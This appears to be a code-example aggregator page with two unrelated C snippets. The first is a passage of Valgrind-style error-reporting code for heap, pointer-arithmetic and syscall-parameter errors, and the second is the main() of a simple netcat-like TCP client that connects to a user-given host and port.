         VG_(pp_ExeContext)( VG_(get_error_where)(err) );
         VG_(message)(Vg_UserMsg,
                      " Address %#lx is not derived from any known block", a);

      } else {
         // Access via a pointer, but outside its range.
         Int cmp;
         UWord miss_size;
         Seg__cmp(vseg, a, &cmp, &miss_size);
         if      (cmp  < 0) place = "before";
         else if (cmp == 0) place = "inside";
         else               place = "after";
         how_invalid = ( ( Seg__is_freed(vseg) && 0 != cmp )
                       ? "Doubly-invalid" : "Invalid" );
         legit = ( Seg__is_freed(vseg) ? "once-" : "" );

         VG_(message)(Vg_UserMsg, "%s %s of size %ld", how_invalid,
                                  readwrite(xe->XE.Heap.sszB),
                                  Word__abs(xe->XE.Heap.sszB));
         VG_(pp_ExeContext)( VG_(get_error_where)(err) );

         VG_(message)(Vg_UserMsg,
                      " Address %#lx is %lu bytes %s the accessing pointer's",
                      a, miss_size, place);
         VG_(message)(Vg_UserMsg,
                      " %slegitimate range, a block of size %lu %s",
                      legit, Seg__size(vseg),
                      Seg__is_freed(vseg) ? "free'd" : "alloc'd" );
         VG_(pp_ExeContext)(Seg__where(vseg));
      }
      if (xe->XE.Heap.descr1[0] != 0)
         VG_(message)(Vg_UserMsg, " %s", xe->XE.Heap.descr1);
      if (xe->XE.Heap.descr2[0] != 0)
         VG_(message)(Vg_UserMsg, " %s", xe->XE.Heap.descr2);
      if (xe->XE.Heap.datasym[0] != 0)
         VG_(message)(Vg_UserMsg, " Address 0x%llx is %llu bytes "
                      "inside data symbol \"%s\"",
                      (ULong)xe->XE.Heap.addr,
                      (ULong)xe->XE.Heap.datasymoff,
                      xe->XE.Heap.datasym);
      break;
   }

   //----------------------------------------------------------
   case XE_Arith: {
      Seg*   seg1   = xe->XE.Arith.seg1;
      Seg*   seg2   = xe->XE.Arith.seg2;
      Char*  which;

      tl_assert(BOTTOM != seg1);
      tl_assert(BOTTOM != seg2 && UNKNOWN != seg2);

      VG_(message)(Vg_UserMsg, "Invalid arguments to %s", xe->XE.Arith.opname);
      VG_(pp_ExeContext)( VG_(get_error_where)(err) );

      if (seg1 != seg2) {
         if (NONPTR == seg1) {
            VG_(message)(Vg_UserMsg, " First arg not a pointer");
         } else if (UNKNOWN == seg1) {
            VG_(message)(Vg_UserMsg, " First arg may be a pointer");
         } else {
            VG_(message)(Vg_UserMsg, " First arg derived from address %#lx of "
                                     "%lu-byte block alloc'd",
                                     Seg__addr(seg1), Seg__size(seg1) );
            VG_(pp_ExeContext)(Seg__where(seg1));
         }
         which = "Second arg";
      } else {
         which = "Both args";
      }
      if (NONPTR == seg2) {
         VG_(message)(Vg_UserMsg, " %s not a pointer", which);
      } else {
         VG_(message)(Vg_UserMsg, " %s derived from address %#lx of "
                                  "%lu-byte block alloc'd",
                      which, Seg__addr(seg2), Seg__size(seg2) );
         VG_(pp_ExeContext)(Seg__where(seg2));
      }
      break;
   }

   //----------------------------------------------------------
   case XE_SysParam: {
      Addr  lo    = xe->XE.SysParam.lo;
      Addr  hi    = xe->XE.SysParam.hi;
      Seg*  seglo = xe->XE.SysParam.seglo;
      Seg*  seghi = xe->XE.SysParam.seghi;
      Char* s     = VG_(get_error_string) (err);
      Char* what;

      tl_assert(BOTTOM != seglo && BOTTOM != seghi);

      if      (Vg_CoreSysCall == xe->XE.SysParam.part) 
                 what = "Syscall param ";
      else    VG_(tool_panic)("bad CorePart");

      if (seglo == seghi) {
         // freed block
         tl_assert(is_known_segment(seglo));
         tl_assert(Seg__is_freed(seglo)); // XXX what if it's now recycled?
         VG_(message)(Vg_UserMsg, "%s%s contains unaddressable byte(s)",
                                  what, s);
         VG_(pp_ExeContext)( VG_(get_error_where)(err) );

         VG_(message)(Vg_UserMsg, " Address %#lx is %ld bytes inside a "
                                  "%ld-byte block free'd",
                                  lo, lo-Seg__addr(seglo),
                                  Seg__size(seglo) );
         VG_(pp_ExeContext)(Seg__where(seglo));

      } else {
         // mismatch
         VG_(message)(Vg_UserMsg, "%s%s is non-contiguous", what, s);
         VG_(pp_ExeContext)( VG_(get_error_where)(err) );

         if (UNKNOWN == seglo) {
            VG_(message)(Vg_UserMsg, " First byte is not inside a known block");
         } else {
            VG_(message)(Vg_UserMsg, " First byte (%#lx) is %ld bytes inside a "
                                     "%ld-byte block alloc'd",
                                     lo, lo-Seg__addr(seglo), 
                                     Seg__size(seglo) );
            VG_(pp_ExeContext)(Seg__where(seglo));
         }

         if (UNKNOWN == seghi) {
            VG_(message)(Vg_UserMsg, " Last byte is not inside a known block");
         } else {
            VG_(message)(Vg_UserMsg, " Last byte (%#lx) is %ld bytes inside a "
                                     "%ld-byte block alloc'd",
                                     hi, hi-Seg__addr(seghi),
                                     Seg__size(seghi) );
            VG_(pp_ExeContext)(Seg__where(seghi));
         }
      }
      break;
   }

   default:
      VG_(tool_panic)("pp_Error: unrecognised error kind");
   }
}
示例#15
0
文件: main.c 项目: sloopie/liuw
/* main: entry point of program. set up some variable, get host information,
   then pass control to readwrite() */
int main(int argc, char **argv)
{
  int c;
  char *hostname;
  sock_t sock;
  struct hostent *host;
  struct sigaction sv;
  
  memset(&sock, 0, sizeof(sock_t));
  
  /* parse command line options */
  while (TRUE) {
    int optidx = 0;
    static const struct option long_options[] = {
      {"port", 		required_argument, NULL, 'p'},
      {"hostname", 	required_argument, NULL, 'h'},
      {0, 0, 0, 0 }
    };

    c = getopt_long(argc, argv, "p:h:", long_options, &optidx);

    if (c == -1)
      break;

    switch (c) {
    case 'p':
      sock.port = atoi(optarg);
      break;
    case 'h':
      hostname = optarg;
      break;
    }
  }

  /* set up the signal handling system, use new style routine sigaction()
     instead of signal() */
  sigemptyset(&sv.sa_mask);
  sv.sa_flags = 0;
  sv.sa_handler = got_int;
  sigaction(SIGINT, &sv, NULL);
  sv.sa_handler = got_term;
  sigaction(SIGTERM, &sv, NULL);

   
  /* misc process, no need to explain */
  if ((host = gethostbyname(hostname)) == NULL) {
    fprintf(stderr, "gethostbyname() error: %s\n", strerror(errno));
    exit(EXIT_FAILURE);
  }

  /* create a socket */
  sock.fd = socket(AF_INET, SOCK_STREAM, 0);
  if (sock.fd == -1) {
    fprintf(stderr, "socket() error: %s\n", strerror(errno));
    exit(EXIT_FAILURE);
  }

  memset((void *)&sock.rhost, 0, sizeof(struct sockaddr_in));
  sock.rhost.sin_family = AF_INET;
  sock.rhost.sin_port = htons(sock.port);
  sock.rhost.sin_addr = *((struct in_addr *) host->h_addr);

  /* don't leave the socket in a TIME_WAIT state if we close the connection */
  struct linger fix_ling;
  fix_ling.l_onoff = 1;
  fix_ling.l_linger = 0;
  if (setsockopt(sock.fd, SOL_SOCKET, SO_LINGER, &fix_ling, sizeof(fix_ling))
      < 0) {
    fprintf(stderr, "setsockopt error: %s\n", strerror(errno));
    exit(EXIT_FAILURE);
  }
  
  /* connect to remote server */
  if (connect(sock.fd, (struct sockaddr *)&sock.rhost, sizeof(struct sockaddr))
      == -1) {
    fprintf(stderr, "connect() error: %s\n", strerror(errno));
    exit(EXIT_FAILURE);
  }

  /* pass control to interactive read write function */
  readwrite(&sock);

  return 0;
}